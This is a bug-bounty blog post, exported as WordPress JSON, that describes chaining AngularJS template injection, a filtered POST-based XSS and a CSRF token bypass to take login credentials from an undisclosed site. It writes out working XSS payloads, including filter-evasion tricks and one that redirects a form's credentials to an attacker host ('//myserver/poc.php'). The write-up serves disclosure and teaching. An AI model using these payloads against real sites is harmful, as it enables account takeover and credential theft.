{"id":252,"date":"2022-10-25T20:41:34","date_gmt":"2022-10-25T18:41:34","guid":{"rendered":"https:\/\/bergee.it\/blog\/?p=252"},"modified":"2023-07-13T22:51:32","modified_gmt":"2023-07-13T20:51:32","slug":"chaining-multiple-vulnerabilities-for-credential-stealing","status":"publish","type":"post","link":"https:\/\/bergee.it\/blog\/chaining-multiple-vulnerabilities-for-credential-stealing\/","title":{"rendered":"Chaining multiple vulnerabilities for credential stealing"},"content":{"rendered":"<p>Once upon a time in far, far hackalaxy&#8230;. there was a login form built with angular. This story is about how I managed to steal credentials using Angular template injection, post-based XSS, and CSRF protection bypass. I can&#8217;t disclose the real target so I call our target redacted.com.<\/p>\n<h3>Angular template injection<\/h3>\n<p>I&#8217;ve visited https:\/\/subdomain.redacted.com and Wappalizer told me it&#8217;s built with Angular 1.8.2. There is a login form on the main site which I tested against angular template injection. I put {{7*7}} as login and xxx as password and after pressing the login button I saw 49 in the login field. I had an angular template injection. Good. It was time to check for XSS. I looked around and found the following payload for Angular 1.6+.:<\/p>\n<blockquote class=\"wrapped\"><p>{{constructor.constructor(&#8216;alert(document.domain)&#8217;)()}}<\/p><\/blockquote>\n<p>I put it as a login, clicked the button and the alert popped up. Hurray! So far so good. But I&#8217;ve got only self-XSS. Not much useful.<\/p>\n<h3>Bypassing CSRF &#8211; transforming self xss to post-based xss<\/h3>\n<p>This was a POST form so what I could try here is to get POST-based XSS. I copied the form to a local file and tried to post it but the error occurred.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-265\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/error_processing_request.jpg\" alt=\"\" width=\"736\" height=\"171\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/error_processing_request.jpg 736w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/error_processing_request-300x70.jpg 300w\" sizes=\"auto, (max-width: 736px) 100vw, 736px\" \/><\/p>\n<p>I noticed the RequestVerificationToken field in the form.<\/p>\n<blockquote class=\"wrapped\"><p>&lt;input name=&#8221;__RequestVerificationToken&#8221; type=&#8221;hidden&#8221; value=&#8221;wdvSsmrUEwOgqYbVXhGVM9QrRvuJ6Q1qECY0IdLheg_BZBi-nKix0KmO4Hhc3qsN7PLKR3S7_ruvTh9Zm7RCiuo2jntoBNGjkAQ0_LGj8T81&#8243; \/&gt;<\/p><\/blockquote>\n<p>That was the cause of failure. The CSRF token was protecting the form. I tried several common bypasses but end up with nothing. Ok. I analyzed the POST request while submitting the form and I saw another RequestVerificationToken, this time sent as a cookie.<\/p>\n<blockquote class=\"wrapped\"><p>__RequestVerificationToken_L2HvYbluXTkr:S6X0D6jm1iP_Mu7srWO2srOcPW36oxZcrc2q8j6b1Ts_PeB3wxLteCsZdWE<\/p><\/blockquote>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-361 size-full\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/rvtoken_cookie_r-1.jpg\" alt=\"\" width=\"1524\" height=\"592\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/rvtoken_cookie_r-1.jpg 1524w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/rvtoken_cookie_r-1-300x117.jpg 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/rvtoken_cookie_r-1-1024x398.jpg 1024w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/rvtoken_cookie_r-1-768x298.jpg 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/rvtoken_cookie_r-1-850x330.jpg 850w\" sizes=\"auto, (max-width: 1524px) 100vw, 1524px\" \/><\/p>\n<p>As we can see the application was built with ASP.NET. This token was different from this on the form. After some time of playing with both tokens, I figured out I need to set the form token as well as the cookie token respectively. I came up with the following scenario:<\/p>\n<p>1. I use PHP curl to fetch the website source code to extract both tokens from the cookie header and HTML source.<br \/>\n2. I create the form with injected stolen CSRF token (form token) and angular template payload<br \/>\n3. To set the cookie token I need XSS on some redacted.com subdomain, which will set the cookie like this:<\/p>\n<blockquote class=\"wrapped\"><p>document.cookie=&#8221;__RequestVerificationToken_L2HvYbluXTkr=TOKENVALUE; path=\/; domain=.redacted.com&#8221;;<\/p><\/blockquote>\n<p>As site B can&#8217;t set cookies on site A, the cookie set with domain .redacted.com will be accessible from all other redacted.com subdomains &#8211; also from our target subdomain.redacted.com.<br \/>\n4. After setting the CSRF cookie with another XSS, I return to my attacking script and submit the actual form running angular XSS payload.<br \/>\n5. Spoiler: Yep it has worked \ud83d\ude00<\/p>\n<h3>Bypassing the XSS filter to set the CSRF token cookie<\/h3>\n<p>I had difficulty finding valid exploitable XSS however after not so short time I found one. Let&#8217;s call it xsssubdomain.redacted.com:<\/p>\n<blockquote class=\"wrapped\"><p>https:\/\/xsssubdomain.redacted.com\/somewhere\/file.cfm<\/p><\/blockquote>\n<p>This was also POST-based XSS, however, this time the form was not protected by a CSRF token and no WAF was in place. However, there was XSS filter protection. The form consisted of multiple parameters, I focused on the first one &#8211; address and started playing with burp requests. I noticed that I can inject some HTML content without problems:<\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-359 size-full\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/html_content-1.jpg\" alt=\"\" width=\"1799\" height=\"269\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/html_content-1.jpg 1799w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/html_content-1-300x45.jpg 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/html_content-1-1024x153.jpg 1024w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/html_content-1-768x115.jpg 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/html_content-1-1536x230.jpg 1536w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/html_content-1-850x127.jpg 850w\" sizes=\"auto, (max-width: 1799px) 100vw, 1799px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>The h1 header rendered on the site &#8211; successfully injected HTML. Now I tried to inject an image tag, but\u00a0 I failed. There was some kind of filter in place:<\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-360 size-full\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/img_src-1.jpg\" alt=\"\" width=\"1660\" height=\"343\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/img_src-1.jpg 1660w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/img_src-1-300x62.jpg 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/img_src-1-1024x212.jpg 1024w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/img_src-1-768x159.jpg 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/img_src-1-1536x317.jpg 1536w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/img_src-1-850x176.jpg 850w\" sizes=\"auto, (max-width: 1660px) 100vw, 1660px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>Both img tag and src attribute were cut out. Now I tried with script tag payload. The &#8220;Invalid Tag&#8221; was detected:<\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-362 size-full\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/script_tag-1.jpg\" alt=\"\" width=\"1679\" height=\"283\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/script_tag-1.jpg 1679w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/script_tag-1-300x51.jpg 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/script_tag-1-1024x173.jpg 1024w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/script_tag-1-768x129.jpg 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/script_tag-1-1536x259.jpg 1536w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/script_tag-1-850x143.jpg 850w\" sizes=\"auto, (max-width: 1679px) 100vw, 1679px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>I figured out the filter works in a blacklist way, removing some tags or events. So I decided to look for ones that are not blacklisted. To do that I\u00a0 copied all the tags and events to txt files from <a href=\"https:\/\/portswigger.net\/web-security\/cross-site-scripting\/cheat-sheet\" target=\"_blank\" rel=\"noopener\">https:\/\/portswigger.net\/web-security\/cross-site-scripting\/cheat-sheet.<\/a> Then I used the great <a href=\"https:\/\/portswigger.net\/bappstore\/9abaa233088242e8be252cd4ff534988\" target=\"_blank\" rel=\"noopener\">Turbo Intruder plugin<\/a> for Burp by James Kettle. I use Burp Community Edition, so the standard intruder is pretty slow there. That&#8217;s why I used the one on steroids :). I gathered all accepted tags. Then made the second round, this time looking for the events. The goal was to find such a combination of them that I could build the XSS payload. The <em>onauxclick<\/em> event was whitelisted so I managed to build the first working payload:<\/p>\n<blockquote><p>XXX&#8221; onauxclick=document.write(document.domain)<\/p><\/blockquote>\n<p>As the injection was inside the input tag, this payload required user interaction &#8211; click with the right mouse button on the input. It worked but it was not what I wanted &#8211; which means no user interaction. I was looking further and found that video tag and oncanplay event are whitelisted also. So I tried this payload:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-256\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/portswigger_xss.jpg\" alt=\"\" width=\"1136\" height=\"126\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/portswigger_xss.jpg 1136w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/portswigger_xss-300x33.jpg 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/portswigger_xss-1024x114.jpg 1024w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/portswigger_xss-768x85.jpg 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/portswigger_xss-850x94.jpg 850w\" sizes=\"auto, (max-width: 1136px) 100vw, 1136px\" \/><\/p>\n<p>And I ended up with:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-363 size-full\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_cut_full-1.jpg\" alt=\"\" width=\"1571\" height=\"142\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_cut_full-1.jpg 1571w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_cut_full-1-300x27.jpg 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_cut_full-1-1024x93.jpg 1024w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_cut_full-1-768x69.jpg 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_cut_full-1-1536x139.jpg 1536w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_cut_full-1-850x77.jpg 850w\" sizes=\"auto, (max-width: 1571px) 100vw, 1571px\" \/><\/p>\n<p>Damn. The whole tag was cut out. I started playing with magical %0d,%0a, and %09 ASCII codes which are respectively CR, LF, and TAB to bypass the filter and it worked \ud83d\ude42 Putting %0d fooled the filter and what I got was:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-258\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_src_document_write.jpg\" alt=\"\" width=\"1820\" height=\"272\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_src_document_write.jpg 1820w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_src_document_write-300x45.jpg 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_src_document_write-1024x153.jpg 1024w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_src_document_write-768x115.jpg 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_src_document_write-1536x230.jpg 1536w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_src_document_write-850x127.jpg 850w\" sizes=\"auto, (max-width: 1820px) 100vw, 1820px\" \/><\/p>\n<p>To make it work I needed the valid mp4 file as the javascript code executes if the movie can be played. I created a very short mp4 video with the tool <a href=\"https:\/\/clideo.com\/\" target=\"_blank\" rel=\"noopener\">https:\/\/clideo.com\/<\/a> and put it online, suppose here: <em>https:\/\/myserver\/video.mp4<\/em>.\u00a0 I\u00a0 added the autoplay attribute to make the video start playing at once. Then I used the video URL in the payload and&#8230; another surprise:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-275\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_cut_http-1.jpg\" alt=\"\" width=\"1553\" height=\"149\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_cut_http-1.jpg 1553w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_cut_http-1-300x29.jpg 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_cut_http-1-1024x98.jpg 1024w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_cut_http-1-768x74.jpg 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_cut_http-1-1536x147.jpg 1536w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_cut_http-1-850x82.jpg 850w\" sizes=\"auto, (max-width: 1553px) 100vw, 1553px\" \/><\/p>\n<p>The HTTP part was cut out. Grrrr&#8230; Fortunately, I could write the same URL as <em>\/\/myserver\/video.mp4<\/em>. This was not cut out, so I started to develop the final payload which was about to set the cookie:<\/p>\n<blockquote class=\"wrapped\"><p>XXX&#8221;&gt;&lt;video autoplay oncanplay%0d=%0ddocument.cookie(&#8220;__RequestVerificationToken_L2HvYbluXTkr=TOKENVALUE; domain=.redacted.com; samesite=none&#8221;)&gt;&lt;source src%0d=&#8221;\/\/myserver\/video.mp4&#8243; type=&#8221;video\/mp4&#8243;&gt;&lt;\/video&gt;&lt;!&#8211;<\/p><\/blockquote>\n<p>I added &lt;&#8211; at the end of the payload which makes the exploit a bit faster. The response was pretty shocking.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-364 size-full\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_tag_cut_out-1.jpg\" alt=\"\" width=\"1593\" height=\"194\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_tag_cut_out-1.jpg 1593w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_tag_cut_out-1-300x37.jpg 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_tag_cut_out-1-1024x125.jpg 1024w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_tag_cut_out-1-768x94.jpg 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_tag_cut_out-1-1536x187.jpg 1536w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/video_tag_cut_out-1-850x104.jpg 850w\" sizes=\"auto, (max-width: 1593px) 100vw, 1593px\" \/><\/p>\n<p>Where the hell is the video tag I asked myself!!!! After another long while, I figured out that the name of the cookie was the problem. This must have been some other protection filter in place. If I set the cookie name to &#8216;__RequestVerification&#8217; the payload worked and the response was ok. If I only add one character to the end of the cookie name such as\u00a0 &#8216;__RequestVerificationX&#8217;, the &lt;video&gt; tag was cut out. I tried all &#8220;magic&#8221; char sequences again but nothing worked :(. After a short break from working on the problem&#8230; eureka. The &#8220;__RequestVerificationToken_L2HvYbluXTkr&#8221; string was in a javascript context &#8211; the parameter of document.cookie method, so how about string concatenation:<\/p>\n<p>&#8220;RequestVerification&#8221;+&#8221;Token_L2HvYbluXTkr&#8221;<\/p>\n<p>And guess what? It worked like a charm :). Some chars should be urlencoded into, so the final working payload was:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-366 size-full\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/ok_payload-1-1.jpg\" alt=\"\" width=\"1594\" height=\"209\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/ok_payload-1-1.jpg 1594w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/ok_payload-1-1-300x39.jpg 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/ok_payload-1-1-1024x134.jpg 1024w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/ok_payload-1-1-768x101.jpg 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/ok_payload-1-1-1536x201.jpg 1536w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/ok_payload-1-1-850x111.jpg 850w\" sizes=\"auto, (max-width: 1594px) 100vw, 1594px\" \/><\/p>\n<p>&nbsp;<\/p>\n<blockquote class=\"wrapped\"><p>XXX&#8221;&gt;&lt;\/td&gt;&lt;video autoplay oncanplay%0d=%0d%27document.write();document.cookie=&#8221;__RequestVerification&#8221;%2b&#8221;Token_L2HvYbluXTkr=TOKENVALUE;domain=.redacted.com;path=\/;samesite=none&#8221;;document.location.href=&#8221;\/\/myserver\/POC.php?ret=1%26rvtf=FORMTOKENVALUE&#8221;%27&gt;&lt;source src%0d=&#8221;\/\/myserver\/video.mp4&#8243; type=&#8221;video\/mp4&#8243;&gt;&lt;\/video&gt;&lt;!&#8211;<\/p><\/blockquote>\n<p>It does the following things:<\/p>\n<ul>\n<li>clears the screen as the xss site might be visible for a fraction of second<\/li>\n<li>sets the RequestVerification cookie via XSS on xssubdomain<\/li>\n<li>redirects back the user to the attacker&#8217;s POC script<\/li>\n<\/ul>\n<h3>Stealing credentials from subdomain.redacted.com<\/h3>\n<p>The angular-based XSS was placed inside the login form. I don&#8217;t know If I could steal the session cookie with it from the authenticated user as when the user is logged in, he does not see the login form. Besides, I don&#8217;t have an account on the site to check it. I figured out I can put the payload which steals the credentials from the form as the user is logging in. This time the login and password are sent to the attacker&#8217;s script, stored somewhere in the file, and get back to the real site. So from the point of view of the victim, he\/she just made a mistake, maybe mistyped the credentials.<\/p>\n<p>At first, I tried to send the credentials via ajax request &#8211; it was obviously blocked by CORS. The second attempt was to send them by putting<em> img.src<\/em> object into the payload sending them via image loading. It worked in some other cases, however in this case it did not. In the response, I got NS_BINDING_ABORTED in Firefox. I have no idea why. The simplest solution I figured out was to change the <em>action<\/em> attribute of the form and instead of sending the form data to the target site, it sent it to my poc.php script. I had to encode apostrophes into HTML entities to be able to put the payload as the value. The final payload was like this:<\/p>\n<blockquote class=\"wrapped\"><p>{{constructor.constructor(&amp;#39$(&#8220;div.validation-summary-errors&#8221;).hide();$(&#8220;input[type=submit]&#8221;).click(function(e){$(&#8220;#loginform&#8221;).attr(&#8220;action&#8221;,&#8221;\/\/myserver\/poc.php&#8221;);})&amp;#39)()}}<\/p><\/blockquote>\n<p>It does two things:<\/p>\n<ul>\n<li>hides error messages while executing template injection<\/li>\n<li>changes the target of an action attribute to the poc.php script<\/li>\n<\/ul>\n<p>The poc.php script received the credentials, stored them in the file called stolen_credentials.txt, and redirected the victim back to the original login form.<\/p>\n<h3>The PHP code of the POC<\/h3>\n<p>This is the code I used to chain all the vulnerabilities together. Sorry for the spaghetti. It&#8217;s just an exploit :).<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-287\" src=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/phpcode-5.png\" alt=\"\" width=\"1280\" height=\"2889\" srcset=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/phpcode-5.png 1280w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/phpcode-5-133x300.png 133w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/phpcode-5-454x1024.png 454w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/phpcode-5-768x1733.png 768w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/phpcode-5-681x1536.png 681w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/phpcode-5-907x2048.png 907w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/phpcode-5-300x677.png 300w, https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/phpcode-5-850x1918.png 850w\" sizes=\"auto, (max-width: 1280px) 100vw, 1280px\" \/><\/p>\n<p>The post-based XSS was out of scope in this program. I knew it from the beginning, however, took it as a challenge and was hoping to be in scope as I am showing an account takeover vulnerability here. Unfortunately, after a long time spent explaining my point of view, the report was closed as N\/A anyway \ud83e\udd37.<\/p>\n<p>Update: after looong time discussing this issue with triagers, the company reviewed the report again and the risk of this vulnerability was estimated as high \ud83d\ude42<\/p>\n<p>Reward : $$$<\/p>\n<p>See you next bug \ud83d\ude42<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Once upon a time in far, far hackalaxy&#8230;. there was a login form built with angular. This story is about how I managed to steal credentials using Angular template injection, post-based XSS, and CSRF protection bypass. I can&#8217;t disclose the real target so I call our target redacted.com. Angular template injection I&#8217;ve visited https:\/\/subdomain.redacted.com and&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,32,29],"tags":[18,35,24,23],"class_list":["post-252","post","type-post","status-publish","format-standard","hentry","category-bez-kategorii","category-bug-bounty","category-write-up","tag-account-takeover","tag-csrf","tag-reflected-xss","tag-self-xss"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.2 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Chaining multiple vulnerabilities for credential stealing - Bergee&#039;s Stories on Bug Hunting<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/bergee.it\/blog\/chaining-multiple-vulnerabilities-for-credential-stealing\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Chaining multiple vulnerabilities for credential stealing - Bergee&#039;s Stories on Bug Hunting\" \/>\n<meta property=\"og:description\" content=\"Once upon a time in far, far hackalaxy&#8230;. there was a login form built with angular. This story is about how I managed to steal credentials using Angular template injection, post-based XSS, and CSRF protection bypass. I can&#8217;t disclose the real target so I call our target redacted.com. Angular template injection I&#8217;ve visited https:\/\/subdomain.redacted.com and...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/bergee.it\/blog\/chaining-multiple-vulnerabilities-for-credential-stealing\/\" \/>\n<meta property=\"og:site_name\" content=\"Bergee&#039;s Stories on Bug Hunting\" \/>\n<meta property=\"article:published_time\" content=\"2022-10-25T18:41:34+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2023-07-13T20:51:32+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/error_processing_request.jpg\" \/>\n<meta name=\"author\" content=\"bergee\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@https:\/\/twitter.com\/bergee\" \/>\n<meta name=\"twitter:site\" content=\"@bergee\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"bergee\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/bergee.it\/blog\/chaining-multiple-vulnerabilities-for-credential-stealing\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/bergee.it\/blog\/chaining-multiple-vulnerabilities-for-credential-stealing\/\"},\"author\":{\"name\":\"bergee\",\"@id\":\"https:\/\/bergee.it\/blog\/#\/schema\/person\/a37382384cc58e596119b1eec4869d73\"},\"headline\":\"Chaining multiple vulnerabilities for credential stealing\",\"datePublished\":\"2022-10-25T18:41:34+00:00\",\"dateModified\":\"2023-07-13T20:51:32+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/bergee.it\/blog\/chaining-multiple-vulnerabilities-for-credential-stealing\/\"},\"wordCount\":1709,\"publisher\":{\"@id\":\"https:\/\/bergee.it\/blog\/#\/schema\/person\/a37382384cc58e596119b1eec4869d73\"},\"image\":{\"@id\":\"https:\/\/bergee.it\/blog\/chaining-multiple-vulnerabilities-for-credential-stealing\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/error_processing_request.jpg\",\"keywords\":[\"account takeover\",\"csrf\",\"reflected xss\",\"self-xss\"],\"articleSection\":[\"Bez kategorii\",\"bug bounty\",\"write-up\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/bergee.it\/blog\/chaining-multiple-vulnerabilities-for-credential-stealing\/\",\"url\":\"https:\/\/bergee.it\/blog\/chaining-multiple-vulnerabilities-for-credential-stealing\/\",\"name\":\"Chaining multiple vulnerabilities for credential stealing - Bergee&#039;s Stories on Bug Hunting\",\"isPartOf\":{\"@id\":\"https:\/\/bergee.it\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/bergee.it\/blog\/chaining-multiple-vulnerabilities-for-credential-stealing\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/bergee.it\/blog\/chaining-multiple-vulnerabilities-for-credential-stealing\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/error_processing_request.jpg\",\"datePublished\":\"2022-10-25T18:41:34+00:00\",\"dateModified\":\"2023-07-13T20:51:32+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/bergee.it\/blog\/chaining-multiple-vulnerabilities-for-credential-stealing\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/bergee.it\/blog\/chaining-multiple-vulnerabilities-for-credential-stealing\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/bergee.it\/blog\/chaining-multiple-vulnerabilities-for-credential-stealing\/#primaryimage\",\"url\":\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/error_processing_request.jpg\",\"contentUrl\":\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/10\/error_processing_request.jpg\",\"width\":736,\"height\":171},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/bergee.it\/blog\/chaining-multiple-vulnerabilities-for-credential-stealing\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/bergee.it\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Chaining multiple vulnerabilities for credential stealing\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/bergee.it\/blog\/#website\",\"url\":\"https:\/\/bergee.it\/blog\/\",\"name\":\"Bergee&#039;s Stories on Bug Hunting\",\"description\":\"hacking, cyber security and programming\",\"publisher\":{\"@id\":\"https:\/\/bergee.it\/blog\/#\/schema\/person\/a37382384cc58e596119b1eec4869d73\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/bergee.it\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\/\/bergee.it\/blog\/#\/schema\/person\/a37382384cc58e596119b1eec4869d73\",\"name\":\"bergee\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/berdzi_drawing_150x150_x.png\",\"url\":\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/berdzi_drawing_150x150_x.png\",\"contentUrl\":\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/berdzi_drawing_150x150_x.png\",\"width\":129,\"height\":150,\"caption\":\"bergee\"},\"logo\":{\"@id\":\"https:\/\/bergee.it\/blog\/wp-content\/uploads\/2022\/08\/berdzi_drawing_150x150_x.png\"},\"sameAs\":[\"http:\/\/localhost\/wordpress\",\"https:\/\/www.linkedin.com\/in\/bartlomiej-bergier\",\"https:\/\/x.com\/https:\/\/twitter.com\/bergee\"],\"url\":\"https:\/\/bergee.it\/blog\/author\/bergee\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Chaining multiple vulnerabilities for credential stealing - Bergee&#039;s Stories on Bug 